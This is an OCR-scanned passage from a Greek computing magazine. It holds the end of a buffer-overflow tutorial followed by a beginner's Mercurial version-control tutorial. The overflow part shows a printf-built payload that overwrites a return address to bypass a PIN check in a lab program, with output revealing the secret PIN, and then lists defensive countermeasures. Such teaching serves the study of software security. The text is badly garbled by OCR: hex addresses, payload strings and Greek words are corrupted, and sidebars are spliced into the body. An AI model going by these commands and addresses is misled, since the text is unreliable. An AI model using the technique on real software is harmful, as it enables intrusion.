περιοχἡ της μνήμης µε κὠδικα. Έτσι, για αρχἡ τουλάχιστον, θα αποφύ- 
γουµε το Segmentation Fault. AUTO ὁμως δεν εἶναι αρκετὀ! Θα πρέπει 
να οδηγἠσουµε το πρὀγραµµα σε µια περιοχἠ αμέσως μετὰ τον ἐλεγχο 
του PIN. Με άλλα λόγια, θα πρέπει να παρακἀμψουμε τον εν λὀγω ἐλεγ- 
xo. H ζητούμενη διεύθυνση μπορεἰ να βρεθεἰ εὐκολα. Mnopei να βρεθεἰ 
μάλιστα και στην εικὀνα 3! Εξετάζοντας τον κὠδικα μετά την κλήση της 
process_data διαπιστώνουμε OT! ακολουθούν δύο διακλαδώσεις. H µια 
πραγματοποιείται µε την εντολἠ JNE (Jump if Not Equal) και η ἄλλη µε 
την JMP (JuMP). H πρὠτη κατευθύνεται προς τη θέση main+45 και η δεύ- 
τερη προς τη θέση main+100. Δηλαδή, η μία κατευθύνεται προς μία θέση 
μέσα στο πρὀγραμμα και ἄλλη προς το τέλος του προγράμματος. Κατὰ 
πάσα πιθανότητα, θα πρέπει να ακολουθήσουμε εκείνη που καταλήγει 
Ἐμέσαξ στο πρὀγραμμα! Πρόκειται για την διεύθυνση θχθ8θ48494. Τώρα 
όμως προκύπτει Eva νέο πρόβλημα: Πώς θα περάσουμε αυτή τη διεύθυν- 
ση σαν παράμετρο; Εδὠ πρέπει να κάνουμε µερικἀ κολπάκια. 

Για να μπορέσει το πρόγραμμα να ερμηνεύσει µια παράμετρο η οποία ne- 


ριἐχει αριθμούς σε 16-δικἠ µορφή, θα χρειαστεί να επιστρατεύσουμε TO 
προγραμματάκι για τη γραμμή EVTOAWV µε ὀνομα printf. Δείτε Eva napa- 
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Εικόνα 6. 

Με τη βοήθεια 
του εργαλείου 
printf πείσαμε To 
προγραμματάκι 
μας ὁτι το τελευ- 
Taio μέρος της 
παραμέτρου ἦταν 
μερικοί αριθμοί 
στο δεκαεξαδικὀ. 
Οι συγκεκριμένοι 
αριθμοί αποτελού- 
σαν μια διεύθυνση 
επιστροφής, µετά 
ano τον έλεγχο 
γνησιότητας του 
PIN. Τα καταφέ- 
pape! Αποφύγαμε 
το Segmentation 
Fault *kai* Tov 
έλεγχο Tou PIN! 


VHAQKER 


ÁN 


δειγµα χρήσης, μαζί µε TO αποτέλεσμα: 
[andreas@f13 ~]$ printf “Hello World. \n” 
Hello World. 
[andreas@f13 ~]$ 


Με αυτὀ To utility θα τυπώσουμε τον αριθµό που θέλουμε, WOTE να ερ- 
µηνευτεἰ απὀ το πρὀγραμμα σαν αριθμός στο 16-δικὀ σύστημα. Πα να 
γίνει GUTO πρέπει να χρησιμοποιήσουμε Evav ειδικὀ συμβολισμὸ. Συ- 
γκεκριμένα, ο αριθμός θ8θ48498 θα πρέπει να γραφεί ως \xe8\x04\x84\ 
x9a. Επομένως, η σειρά aaaaaaaaaabbbbcccc Πρέπει να μετατραπεί σε 
aaaaaaaaaabbbb\x08\x04\x84\x9a... περίπου! Μας διαφεύγει µια ακόμα Às- 
πτομέρεια. Λόγω της δοµἠς της στοίβας, οι αριθμοί πρέπει να εισαχθούν 
µε την «ανάποδη oeipa* για να μπορέσουν να γραφτούν ὁπως θἐλουµε! 
Apa, η σωστἠ παράμετρος θα εἶναι η «aaaaaaaaaabbbb\x9a\x84\x04\xe8». 
Συνδυάζοντας ὁσα μόλις αναφἑἐραμµε, το μικρὸ µας exploit θα πάρει την 
ακόλουθη µορφή: 


./vuln “printf “aaaaaaaaaaQ0Q@0\x9a\x84\x04\x08”> 


Αντίµετρα 


Η διαδικασία του εντοπισμού αδυναμιὼν buffer overflow δεν εἶναι κα- 
θόλου εὐκολη ἡ απλἠ. Πολλὲς φορὲς μάλιστα, μπορεἰ να διαρκέσει odò- 
κληρες μέρες! Πέρα and την υπομονή, απαιτεἰται και καλἠ γνώση της 
εσωτερικἠς δομής και λειτουργίας ενὸς προγράµµατος, της γλὠσσας 
προγραμματισμού που χρησιμοποιήθηκε για τη δηµιουργία Tou υπὀ εξὲ- 
ταση προγράµµατος, καθώς και του λειτουργικού συστήµατος στο οποίο 
εκτελεἰται το πρὀγραμμα. Αντίµετρα για να αποφύγουμε προβλήματα 
σαν αυτά που περιγράψαμε υπάρχουν πολλὰ και υλοποιούνται σε όλα τα 


File Edit View Terminal Tabs Help 


[@f13]# ./vuln ‘printf "“aaaaaaaaaad0G0\x9a\x84\x04\xO8"" 


Checking. 


Password success! 


Your PIN is 


2133212312 


Your personal id is : 123 
Secret Info End 


Bye now. 


Segmentation fault (core dumped) 
[@f13]# J 
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File Edit View Terminal Help 


[@f13]$ ./vuln ‘printf "“aaaaaaaaaabbbb\x9a\x84\x04\x08" 
Checking. 

Password success! 

Your PIN is  ΦΙβ32102317 

Your personal id is : 123 

Secret Info End 

Bye now. 

Segmentation fault (core dumped) 

[841315 D 


. 


-- 


[< 


επἰπεδα της ανάπτυξης ενὸς προγράµµατος. Συγκεκριµένα, ισχύουν τα 
ακόλουθα: 


1. H αδυναμία που εντοπἰσαμε παραπάνω πηγάζει ano τη γραμμή 4 
του προγράµµατος. H build-in συνάρτηση strcpy *dev* πραγµα- 
Tonolei ἐλεγχο υπερχείλισης, µε όλα τα ἄσχημα επακόλουθα που 
εἰδαμε. Μια εὐκολη και γρήγορη λύση εἶναι να Χρησιµοποιήσου- 
µε στη θέση της τη συνάρτηση strncpy, η οποία κάνει ἐλεγχο 
μεγέθους. H γραμμή 4 δηλαδή, θα έπρεπε να γίνει κάπως ἐτσι: 
strncpy(data, userdata,9); 


2. Ποτὲ pa ποτὲ δεν πρέπει va εμπιστευόμαστε To user input! Αντι- 
θέτως, θα πρέπει πάντα va το θεωρούμε ὑποπτο και επικἰνδυνο. 
Τα δεδοµένα που εισάγονται πρέπει να ελέγχονται πάντα και ως 
προς το μέγεθος και ως προς το NEPIEXOHEVO τους (το εἶδος τους). 


3. Θα ἦταν χρήσιμο να εκμεταλλευόµαστε τις δυνατότητες TOU pE- 
ταγλωττιστή. Πα παράδειγμα, ο GCC 4.4.4 παρέχει τη χρήσιμη 
επιλογἠ (flag) fstack-protector-all. Όποτε χρησιμοποιείται, ενερ- 
γοποιεῖται ἑνας μηχανισμὸς για την προστασία των τοπικὠν µετα- 
βλητώὠν (αυτών δηλαδή που χρησιμοποιούνται στις συναρτήσεις) 
ano υπερχείλιση. Σημειώστε ὁτι µε αυτή την επιλογή, ακόµα και µε 
τη χρήση της συνάρτησης strcpy δεν θα εἰχαμε κανένα πρὀβλημα! 


4. Πρέπει να κρατάμε το σύστημα µας ενημερωμένο HE TIG τελευταἰ- 
ες αλλαγὲς ασφαλείας. 


Τα θέµατα που παρουσιάσαµε χρειάζονται αρκετά κεφάλαια, αν ὀχι βι- 
Bàia ολόκληρα, για να περιγραφούν αναλυτικἁ. Κι αυτό ισχύει τόσο για 
την επίθεση, Ooo και για την άμυνα. O στόχος µας ἧταν να ξύσουμε την 
κορυφή του παγόβουνου που ονομάζεται ασφάλεια πληροφοριακὠν ou- 
στημάτων, να EEQWOUHE την φαντασία σας και να σας εμπνεύσουμε ὀρεξη 
για περαιτέρω µελέτη. Μόνο να θυμάστε: Η γνώση εἶναι δύναμη και δεν 
πρέπει να μένει σε λίγους. Όμως η δύναμη φέρνει και μεγάλες ευθύνες, 
τις οποἰες πρέπει να τιμάμε µε ωριμότητα! 


Skills 
Intermediate 


Tags: VCS, RCS, 
CVS, SVN, 
subversion, 
Mercurial 
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Mnnnv απελπἰζεστε! Το καλὸ σας το περιοδικὀ EXE! NON διαλέξει (εντελὼς 
δημοκρατικὰ) πριν ano ‘odc για ‘odc! Θα παρουσιάσουμε λοιπὸν μερικά 
KEVTPIK και κατανεμημένα repository που µας αρέσουν και θα σας αφἠ- 
OOUHE να διαλέξετε. Πιστεύουμε πάντως OT! µετά την παρουσίαση θα 
επιλέξετε ὁλοι το Mercurial. Ίσως τελικἁ να µην σας αφήσουμε και τόσο 
ελεύθερους να επιλέξετε αλλά, τέλος πάντων, εμείς για το καλο σας ppo- 
ντἰζουμε! Πα να µη λέτε OT! µμεροληπτούμε, θα ξεκινήσουμε την παρουσἰ- 
aoñ µας µε Ta VCS της παλιὰάς σχολἠς: το CVS! και το SVN. 


CVS και SVN 


Μη βιαστεἰτε να neite ὁτι To CVS εἶναι ο παππούς των VCS γιατὶ θα pa- 
νεῖτε γελασμένοι. Το πρώτο πραγματικὀ version control system εἶναι το 
RCS, επάνω στο οποίο χτίστηκε το CVS (Σ.τ.Ε. Το θυμάμαι, το θυμὰᾶ- 
μαι!). O βασικὸς περιορισμός Tou RCS εἶναι oT! δεν διαχειρίζεται ολὀ- 
κληρους καταλόγους (ἡ φακέλους, για ὁσους χρησιμοποιούν Windows), 
αλλά μεμονωμένα αρχεία. Πολύ χονδρικά, θα μπορούσαμε να πούμε ὁτι 
το CVS εἶναι ἑνα RCS µε υποστήριξη φακέλων. Το CVS ακολουθεί τη Qi- 
λοσοφία των κεντρικὠν (centralized) repository. Επομένως, όταν το CVS 
χρησιμοποιείται για την ανάπτυξη ενὀὸς project ano πολλούς developer, 
το repository βρίσκεται σε éva KEVTPIKO µέρος -σε κἀποιον server npo- 
σβάσιµο and όλους τους προγραμματιστές. Κάθε προγραµμματιστἠς που 
συμμετέχει στο project πρέπει va ἐχει σύνδεση δικτύου WOTE να κάνει 
checkout (να πάρει τα ενημερωμένα αρχεία ano To repository για να ξε- 
κινήσει την εργασία του) και φυσικά checkin/commit (να ενημερώσει τα 
αρχεἰα Tou repository µε τις αλλαγές που ἑκανε). Με λίγα λόγια, για να 
συμμετάσχει κάποιος σε Eva project µε το CVS πρέπει να Exel σύνδεση 
στο δίκτυο avd πάσα στιγμή. Αυτό δεν εἶναι κατ’ ανάγκη Kako, αλλά εἰναι 
σίγουρα περιοριστικὀ. Υπάρχουν περιπτώσεις που µπορεί να εργάζεται 
κάποιος µακριά ano το σπίτι του ἡ το γραφείο του κι ακριβώς τότε, εἄν 
δεν διαθέτει σύνδεση, ο κὠδικάς του θα εἶναι ἑρμαιο των φοβερών και 
καταπληκτικὠν ιδεών TOU? (π.χ. οι ιδέες που έχουμε καθώς ταξιδεύουμε 
HE TO τρένο δεν εἶναι απαραἰτητα οι καλύτερες ;) 


Το SVN, γνωστό ως subversion, αποτελεἰ την εξἐλιξη του CVS. Όπως λένε 
και Οἱ φίλοι του, έχει φτιαχτεί για να εἶναι «καλύτερο CVS ano το VCS». 
Σε γενικὲς γραμμές, µαθαϊνοντας το CVS θα αποκτήσετε Eva πολὺ καλό 
υπόβαθρο για να μεταβείτε στο subversion -- αν και OTav το θελήσετε. Το 
CVS και το subversion χρησιμοποιούνται σε πολλά open source projects. 
Πα παράδειγµα, στο FreeBSD Project χρησιµοποιείται To CVS για τα port 
και το doc/www, ενώ για το source χρησιμοποιείται το subversion (µε την 
προοπτικἠ να μεταφερθούν όλα στο subversion). Αν θέλετε να διαβάσετε 
περισσότερα για την εγκατάσταση και τη χρήση του CVS, σας προτεἰνου- 
µε το OXETIKO ἀρθρο στο site του περιοδικού: 


http://deltahacker.gr/2012/01/06/version-control-with-cvs 


Πάντως οι περισσότεροι developer προτιμούν να διατηρούν τον κὠδικὰά 
τους σε Kdnolo distributed repository στο δίσκο τους, ακόµα και αν το 


1. Δεν ξέρω αν το έχετε αντιληφθεί, αλλά Ooo! ασχολούνται µε Ta VCS έχουν ἑνα κάποιο κόλλημα µε τα 
γράμματα C, V και 5. 
2. Ειρωνεία, ναι :) 


Version Control Systems (part 2 of 
OLLI hb hh shh shah ssicde 


project στο οποίο συμμετέχουν χρησιμοποιεί TO CVS ἡ To subversion. Με 
αυτό τον τρὀπο μπορούν πάντα να κἀνουν checkout και checkin/commit, 
εξασφαλίζοντας ὁτι κάθε στάδιο της δουλειάς τους προστατεύεται απὀ το 
repository. Εξάλλου, η μεταφορά των τροποποιήσεων στον κὠδικά and 
το Eva εἶδος repository στο ἄλλο, εἶναι σχετικά EUKOAN µε τη μορφή των 
patches. 


Mercurial. Γιατί ἐτσι µας αρέσει. 


Ὅσοι θέλουν να εἶναι «in» στις μέρες µας, πρέπει να χρησιμοποιούν κά- 
ποιο distributed repository. Τα δύο δημοφιλέστερα εἶναι το Mercurial και 
το Git. Το δεύτερο χρησιμοποιείται στην ανάπτυξη του πυρήνα του Linux 
και ἐχει αποδεδειγµένη αξιοπιστία. To Mercurial εἰναι γραμμένο o2 Python, Πολλά ολοκληρω- 
αναπτύσσεται µε γρήγορους ρυθμούς και διαθέτει πολλά extensions, ενώ μένα προγράμματα 


εἶναι κι EUKOAO στο χειρισμό! Ma να το εγκαταστήσουµε σε Eva σύστημα ανάπτυξης (IDE) 
µε Debian ἡ κἄποιο συγγενικὀ Linux, αρκεἰ να δώσουμε κάτι τέτοιο: HOPEXOOV EVO OEE. 
τωμένη υποστήριξη 

# apt-get install mercurial για VCS. Στην εικὀ- 


: : \ , να, βλέπουμε ÓTI TO 
Στο αγαπημένο µας FreeBSD μπορούμε να χρησιμοποιήσουμε Ta OXETIKÀ Eclipse παρέχει τη 


port: δυνατότητα απευ- 
θείας πρόσβασης 

# cd /usr/ports/devel/mercurial oTo CVS repository 

# make install clean που χρησιμοποιεί- 


H εγκατό λοιπὀν εἰ δάκι. Τι γίνε 6 ετη ὃ ἰα Tai ano TV oaod 
γκατάσταση λοιπὀν εἶναι παιχνιδάκι. Τι γίνεται όμως µε τη õnpioupyi ανάπτυξης ενός 


ενὸς repository; Το μόνο που πρέπει να κάνουμε εἶναι να δηµιουργήσου- project. 


© Java - BUILD. txt - Eclipse SDK 
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µε µια περιοχἠ εργασίας (Eva workspace) και να πούμε στο Mercurial να 
βάλει μπρος... 


$ mkdir ~/newsources 

$ cd ~/newsources 

$ hg init 
To Mercurial δημιουργεί To repository εντὀὸς του workspace, σε ἑναν 
κρυφὸ φάκελο µε TO ὀνομα «ΠΟ. Επομένως, ὁταν χρησιμοποιούμε το 
Mercurial ξέρουμε ὁτι τα πάντα βρίσκονται συγκεντρωμένα και TAKTO- 
ποιημένα κάτω απὸ ἑναν κατάλογο. Σε aUTO το στάδιο, πριν ξεκινήσου- 
µε την εργασία µε το VEO µας repository πρέπει να κάνουμε µια βασικἠ 
ρύθμιση. Πρέπει να ανοἰξουµε µε κάποιον plain-text editor το αρχείο ~/ 
newsources/.hg/hgrc και να προσθέσουμε τις ακόλουθες δύο γραμμές: 

[ui] 

username= John Mercurialguy < john@Mercurialguy.com > 
Προφανώς, ο καθένας θα πρέπει να βάλει το ὀνομά του και µια δικἠ του 
διεύθυνση email. Τώρα μπορούμε να δημιουργήσουμε το πρῶτο µας πρὀ- 
γραµµα, va φοβερό και τρομερὸ Hello World, το onoio θα θέσουµε UNO 
τον ἐλεγχο του repository. Ανοίγουμε τον αγαπημένο µας editor (δηλαδἠ 
το vi, εκτὸς αν BEAOUHE να µας κοροϊδεύουν πάλι!) και πληκτρολογούμε 
τις ακόλουθες γραμμές κὠδικα: 


#include <stdio.h> 
int main() 


{ 
printf("Hello World! η"); 


return ð; 


} 


Τα παραπάνω τα αποθηκεύουµε στο αρχείο hello.c, µέσα στον κατάλογο 
~/newsources. Αφού βγούμε ano τον editor, εκτελούµε το εξἠς: 


$ hg add hello.c 


Με τη λειτουργία add δηλώνουμε στο Mercurial ὁτι το συγκεκριµένο ap- 
χεἰο θέλουμε να βρίσκεται UNO τον EAEYXO του repository. Σημειώστε OTI 
δεν θἐλουµε το repository να θέτει αυτόματα UNO τον EAEYXO του κάθε 
αρχεἰο που συναντά στην περιοχἠ εργασίας. Κάτι τἐτοιο θα επιβάρυνε το 
repository µε αρχεία τα οποία αλλάζουν πολύ συχνὰ και ενδέχεται να µην 
εἶναι κρίσιμα (π.χ., τα log ano τις δοκιμαστικές µεταγλωττίσεις). Τώρα 
που To hello.c προφυλάσσεται ano To repository, μπορούμε να κάνουμε 
και TO πρὠτο µας commit: 


$ hg commit -m "Initial version of hello.c" 


Το μήνυμα που ακολουθεἰτην παράμετρο -m αποθηκεύεται στο repository 
μαζὶ µε την τρέχουσα κατάσταση των αρχείων που παρακολουθεἰ το 
Mercurial (στην περίπτωση µας εἶναι μόνο το hello.c). Έχετε υπόψη ὁτι 
αν δεν γράψουμε κάποιο μήνυμα, το Mercurial θα ανοίξει αυτόματα τον 
default editor του συστήματος. Εκεἰ θα πρέπει να γράψουμε κάποιο uñ- 
VUHG και κυρίως να το αποθηκεύσουμε. Αν βγούμε ano Tov editor χωρίς 
να έχουμε κάνει αποθήκευση, το commit θα ακυρωθεἰ! 


Καθημερινή χρήση 


Το Mercurial δεν πολυμιλάει και δεν µας φλομώνει µε περιττά μηνύμα- 
τα, όταν τα πράγματα nnyaivouv καλὰ. Για να δούµε την κατάσταση του 
repository avd πάσα στιγμή, μπορούμε να δώσουμε αυτό: 
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$ hg log 


To Mercurial θα εμφανίσει µια περιγραφἠ όλων των καταχωρήσεων που 
xouv γίνει στο repository (στον κόσμο των CVS χρησιμοποιείται ο όρος 
changeset). Στη µοναδικἠ καταχώρηση (changeset) που υπάρχει στο δικό 
μας repository θα δείτε ὁτι έχει προστεθεἰ ως tag η λέξη tip. Το συγκε- 
κριμένο tag προστίθεται αυτόματα στο changeset, το οποίο βρίσκεται 
στην κορυφὴ (ἡ head) του repository. Ας κάνουμε τώρα µια GAAayn στο 
hello.c. Ας προσθέσουµε την παρακάτω γραμμὴ, λίγο πριν το τέλος του 
προγράμματος και ακριβώς πριν το return 0: 


printf("Hello Mercurial!\n"); 


Αφού αποθηκεύσουµε τον τροποποιημένο κὠδικα και βγούμε and τον 
editor, μπορούμε να κάνουμε το δεύτερο Commit: 


$ hg commit -m "Add a new message Το hello.c" 


Ας δούμε τι ἐχουμε κάνει μέχρι τώρα: 


$ hg log 

changeset: 1: fb436aedfd54 

tag: tip 

user: John Mercurialguy <john@Mercurialguy.com> 
date: Sun Dec 18 21:58:59 2011 +0200 

summary: Add a new message to hello.c 

changeset: @:ebc62e56191e 

user: John Mercurialguy <john@Mercurialguy.com> 
date: Sun Dec 18 21:31:04 2011 +0200 

summary: Initial version of hello.c 


Τα ονόματα των changeset εἶναι σύνθετα: Απαρτίζονται ano Evav ακέραιο 
αριθμὸ (ονομάζεται revision number), ο οποίος χωρίζεται µε το xapa- 
κτήρα της ἀνω-κάτω τελείας ano va hash. Εμείς πάντως μπορούμε va 
αναφερόμαστε σε κάθε changeset χρησιμοποιώντας Ἀμόνογ το revision 
number. Έτσι, μπορούμε για παράδειγµα να ζητήσουμε ano το Mercurial 
να εμφανίσει τις διαφορές μεταξύ των δύο changeset, δίνοντας κάτι TÈ- 
TOIO: 


$ hg diff -r 0:1 hello.c 


Ta changeset που θέλουμε va συγκριθούν, προσδιορἱζονται µε τους αριθ- 
μοὺς μετὰ την παράμετρο -r. Εναλλακτικά, ωστόσο, avTi των revision 
number θα μπορούσαμε να χρησιμοποιήσουμε τα αντἰστοιχα tag. Έτσι, 
θα μπορούσαμε ισοδύναμα να δώσουμε AUTO: 


$ hg diff -r @:tip hello.c 

--- a/hello.c Sun Dec 18 21:31:04 2011 +0200 
+++ b/hello.c Sun Dec 18 21:58:59 2011 +0200 
@@ -3,5 +3,6 @@ 

int main() 


{ 
printf("Hello World! \n"); 


+ printf("Hello Mercurial! \n") ; 
return ð; 


} 


Στην nepintwon µας, To changeset µε revision number τη μονάδα βρὶ- 
σκεται στην κορυφὴ του repository και ἐχει σαν tag τη λέξη tip. Ωραία 
όλα αυτά, θα πει κανεἰς, αλλά τι γίνεται όταν τελικἀ καταστρέψουµε τον 
κὠδικά µας; Πώς θα ανακτήσουμε την πιο πρὀσφατη μορφή του κὠδικα, 
την οποία εἶχαμε κάνει commit; Ας υποθέσουμε λοιπὀν ότι εφαρμόσα- 


Αν χρειαζόμαστε 
éva γρήγορο web 
interface για To 
Mercurial (ενδε- 
χομένως για va 
δώσουμε πρόσβαση 
ἀάμεσα σε Κάποιο 
φιλαράκι εντός του 
ΙΑΝ) μπορούμε 

να χρησιμοποιή- 
σουµε την εντολή 
hg serve. Θα 
είµαστε έτοιμοι σε 
δευτερόλεπτα! Αν 
βέβαια θέλουμε 
μια ολοκληρωμένη 
και μόνιμη λύση 
μπορούμε να χρη- 
σιμοποιήσουμε Eva 
πληρέστερο περι- 
βάλλον, µε πολύ 
καλύτερο ἐλεγχο, 
χρησιμοποιώντας 
τον κανονικό web 
server TOU συστή- 
ματος. 
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µε μερικὲς «σπουδαίες» ιδέες στον κὠδικά µας µε αποτέλεσµα να τον... 
αχρηστεύσουµε :S Πα να επιστρέψουµε στην τελευταία κατάσταση που 
εἰχαμε κάνει commit, αρκεἰ να δώσουμε αυτό: 


$ hg revert hello.c 


Στην περίπτωση που θέλουμε va επαναφἐρουµε ὁλα Ta αρχεἰα του 
workspace -τα οποία προφυλάσσονται ano To repository-, αρκεἰ να δώ- 
σουµε αυτό: 


$ hg update -C 


Ωστόσο, µε µια τόσο γενικευμένη ενέργεια στο workspace ενδέχεται να 
χάσουμε και πράγματα που δεν θα έπρεπε: τροποποιήσεις σε αρχεία που 
μας ἦταν χρήσιμες και δεν τις εἰχαμε κἀνει commit! Όπως καταλαβαίνετε, 
λοιπὸν, η εντολἠ update πρέπει να χρησιμοποιείται µε μεγάλη προσοχή. 
Σε γενικὲς γραμμὲς, ὁταν δουλεύουμε µε κἄποιο CVS πρέπει ακολουθού- 
µε τους EENG κανόνες: 


ο Δουλεύουμε HE τα αρχεία µας κανονικἀἆ, σαν να µην υπάρχει το CVS 

ο Κάνουμε commit κάθε φορά που φτάνουμε σε κάποιο κρίσιμο OTG- 
διο της δουλειάς µας 

ο Πριν κάνουμε pull (για να ενημερώσουμε το δικὀ µας repository 
µε τα changeset που βρίσκονται στο repository κάποιου ἄλλου 
developer) πρέπει πρὠτα να έχουμε κάνει commit τις δικἐς µας 
τροποποιήσεις. 

ο Μετὰ ano ἑνα pull πρέπει να εκτελούμε την EVTOAN Update, ώστε 
τα νέα changeset που κατέφτασαν στο repository µας, να εφαρμὀ- 
ζονται στα αρχεία της περιοχἠς εργασίας. 

Εάν αναρωτιέστε για το πῶς γίνεται To pull και το push, συνεχίστε να 
διαβάζετε. 


€ > C ff © 192.168.0.3:8000 


FI Apple 


©! Yahoo! 


age author 


Ħ Google Maps YouTube W Wikipedia [] News ([ ]Popular ®© UNI 


/data/home/sonic/newsources 
log 


description 


5 minutes ago John Mercurialguy 
13 minutes ago John Mercurialguy 
37 minutes ago John Mercurialguy 
40 minutes ago John Mercurialguy 


yet one more default tip 
Third revision of hello.c 
Second version of mercurial 
Initial version of hello.c 
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Κλωνοποιεῖστε - κάνει καλό! 


To pull kal To push αποτελούν πολύ σημαντικἐςλειτουργἰες στα distributed 
repositories. Όμως πριν αναφερθούμε σε αυτά πρέπει να μάθουμε κἀτι 
πιο απλὀ: Το πὼς μπορούμε να δώσουμε Eva αντίγραφο της δουλειάς µας 
σε κάποιον φίλο, ώστε va παϊξει µε TOV κὠδικά µας και --γιατὶ ὀχι;-- να 
στείλει και κανένα patch. E, λοιπὀν, KATI τέτοιο γίνεται πολύ εὐκολα. 
Δείτε τον τρόπο: 


$ cd - 
$ hg clone newsources newsources2 


updating to branch default 
1 files updated, © files merged, © files removed, @ files unresolved 


Μπορούὐμετώρα va δώσουμεστο φιλαράκι µαςτον κατάλογο newsources2. 
Να υπογραμμίσουμε ὁμως ὅτι το φιλαράκι µας θα πρέπει να τροποποιήσει 
κατάλληλα το αρχεἰο newsources2/.hg/hgrc. Συγκεκριµένα, θα πρέπει να 
εισαγάγει TO ὀνομά του και µια δικἠ του διεύθυνση email. AUTO ἦταν ὁλο! 


Η κλωνοποίηση στο Mercurial εἶναι τόσο EUKOAN και γρήγορη, που συ- 
νηθἰζεται να διατηρούµε αρκετοὺς κλώνους του ἴδιου repository μόνο 
και μόνο για να κάνουμε πειράµατα µε τον κὠδικα. Κάπου εδώ, βέβαια, 
ακούμε ορισμένους and εσάς να μὰς κάνουν µια ερὠτηση: «Και γιατὶ 
κλωνοποίηση, παρακαλώ; Nati να µην κάνουμε µια απλἠ αντιγραφή του 
workspace;» Καλἠ ερὠτηση και θα την απαντήσουμε σύντομα. 


Push και Pull 


Τώρα που μάθαμε va φτιάχνουμε κλώνους, μπορούμε va δούμε πὼς 
λειτουργεί στην πράξη η λειτουργία pull. Αυτή τη στιγµή, το αρχικό 
repository και ο κλὠνος Tou περιλαμβάνουν τα ἴδια ακριβώς στοιχεία. Για 
αρχἠ λοιπὸν, θα πάμε στο πρὠτο workspace που δημιουργήσαμε και θα 
κάνουμε µια αλλαγή στο hello.c. Μπορούμε για παράδειγµα να προσθὲ- 
σουµε μερικἁ σχόλια, αλλά δεν EXE! σημασία το εἶδος της αλλαγής που 
θα κάνουμε. Αφού αποθηκεύσουµε τον τροποποιημένο κὠδικα κάνουμε 
κι ἑνα commit, ὥστε να ενημερωθεί το repository: 


$ hg commit -m "minor changes" 


τώρα μπορούμε να πάμε στην περιοχἠ εργασίας του κλώνου, για να δοκι- 
μάσουμε επιτέλους το pull: 


$ cd ~/newsources2 

$ hg pull 

pulling from /home/user/newsources 
searching for changes 

adding changesets 

adding manifests 

adding file changes 

added 1 changesets with 1 changes to 1 files 
(run ‘hg update' to get a working copy) 


Μάλιστα. Σύμφωνα µε τα μηνύματα του mercurial, μόλις προστέθηκε 
στο repository ἑνα changeset. Κατά πάσα πιθανότητα, πρὀκειται για το 
changeset µε τις αλλαγές που κάναμε πριν ano λίγο στον κὠδικα. Πα 
να επιβεβαιώσουμε αυτἠ την εικασἰα, θα ενημερώσουμε τα αρχεία του 
workspace: 


$ hg update 
1 files updated, © files merged, © files removed, @ files unresolved 
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H Alice διαθέτει 
éva Κλώνο του 
repository µε 

τα changeset a, 

b, «και d. Κάνει 
κάποιες δικές τις 
αλλαγές τις οποίες 
κάνει commit δημι- 
ουργώντας éva νέο 
changeset, το g. 
To g εἶναι To tip (η 
κορυφή) στο δικό 
της repository, 
ενώ κι ο κατάλογος 
εργασίας της τη 
δεδομένη στιγµή 
εἶναι σε συγχρο- 
νισμὀ µε αυτό το 
changeset. 
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Πράγματι! Αφού κάναμε pull και update, το hello.c στο workspace 
του κλώνου εἶναι πανομοιότυπο µε εκεἰνο στο workspace του αρχικού 
repository. Χμ. Σας ακούμε τώρα να µας ρωτάτε κάτι ακόµα: «Πώς ξέρει 
το mercurial ano ποιο repository πρέπει να ενημερωθεί; Πώς ξέρει ano 
πού πρέπει να τραβήξει τις αλλαγές;» Η απάντηση βρἰσκεται στο αρχείο 
.hg/hgrc του κλώνου. Σε αυτό το αρχείο ἐχει προστεθεὶ µια περιοχἠ που 
δεν υπήρχε στο ομώνυμο αρχεἰο του αρχικού repository. H σχετικἠ NE- 
ploxn ξεκινά µε τη γραμμή [paths] και δείχνει το «μητρικό» repository. 
Έτσι, όταν κάναμε pull το Mercurial ἠξερε ακριβώς ano πού πρέπει va 
ενημερωθεί. Επίσης, αυτή η αυτόματη προσθἠκη στο .hg/hgre απαντά 
και στην ερώτηση «γιατὶ να κάνουμε κλωνοποίηση κι OX! µια απλἠ αντι- 
γραφή». 


Ας περάσουμε τὠρα και στο push. Υπό μία έννοια, αποτελεἰ την αντἰστρο- 
ọn διαδικασία του pull. Με To push, αντἰ να τραβάει κάποιος απὀ το δικὀ 
μας repository τις αλλαγές τις «σπρὠχνουμε» εμεὶς στο δικὀ TOU... µε TO 
ζόρι! Εννοείται φυσικἀ OT! αν ο κλὠνος δεν βρίσκεται στον τοπικὀ µας 
δίσκο (στο δικὀ µας μηχάνημα), θα χρειαστούµε ειδικἁ δικαιώματα για 
va ολοκληρώσουμε TO push. To Mercurial εξάλλου υποστηρίζει πολλὲς 
μεθόδους authentication, ὅταν λειτουργεί δικτυακά και µέσω HTTP. Στο 
παράδειγµα που εξετάζουμε τα πράγματα εἶναι πολύ απλἀ. Μπορούμε να 
κάνουμε πάλι μερικὲς αλλαγὲς στο hello.c του πρωτότυπου workspace 
και αφού το αποθηκεύσουμε, να κάνουμε Commit και push: 


κ. ΚΒ κ κα ο ση 


Alice's repo 


εν κ“ κα κο ee 


O Bob ano τη 
μεριὰ TOU EXE! 
επίσης éva κλώνο 
µε Ta changeset 

8, b, c και d. Οι 
OIKEG του αλλαγές 
δημιουργούν δύο 
changeset, Τα ε και 
f. To f εἶναι το δικό 
του tip ενώ κι ο Ka- 
τόλογος εργασίας 
του εἶναι σε συγ- 
χρονισμὀ µε αυτό 
το changeset. 


Bob's repo 


$ hg commit -m "more minor changes" 

$ hg push ~/newsources2 

pushing to ~/newsources2 

adding changesets 

adding manifests 

adding file changes 

added 1 changesets with 1 changes to 1 files 


‘Oda μοιάζουν να πήγαν καλὰ, αλλά για να επαληθεύσουμµε τι ἐγινε, πρὲ- 
πει να μεταβούμε στο workspace του κλώνου. Εκεἰ θα κάνουμε πὰάλι Eva 
update: 


$ cd ~/newsources2 
$ hg update 


Τέλεια! Οι αλλαγές που κάναμε προηγουμένως στο hello.c ἑφτασαν και 
στην περιοχἠ εργασίας του κλώνου. 


Θυμάστε τον φίλο που αναφέραμε νωρίτερα, εξαιτίας του οποίου μάθα- 
ue για την κλωνοποίηση; Ας υποθέσουμε OT! ήρθε στο σπίτι µας µε το 
laptop του, για να πάρει τον περίφημο κὠδικα. Ας υποθέσουμε επἰσης ὁτι 
δεν έχουμε USB flash, οὐτε CD/DVD, οὐτε διάτρητες κάρτες ;) Θεωρούμε 
ακόµα ὁτι ποτὲ δεν ασχοληθήκαµε να ρυθµἰσουμε το NFS, ενώ στο ἀκου- 
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opa της λέξης SAMBA το μυαλὸ µας πάει σε εξωτικοὺς χορούς! Το μόνο 
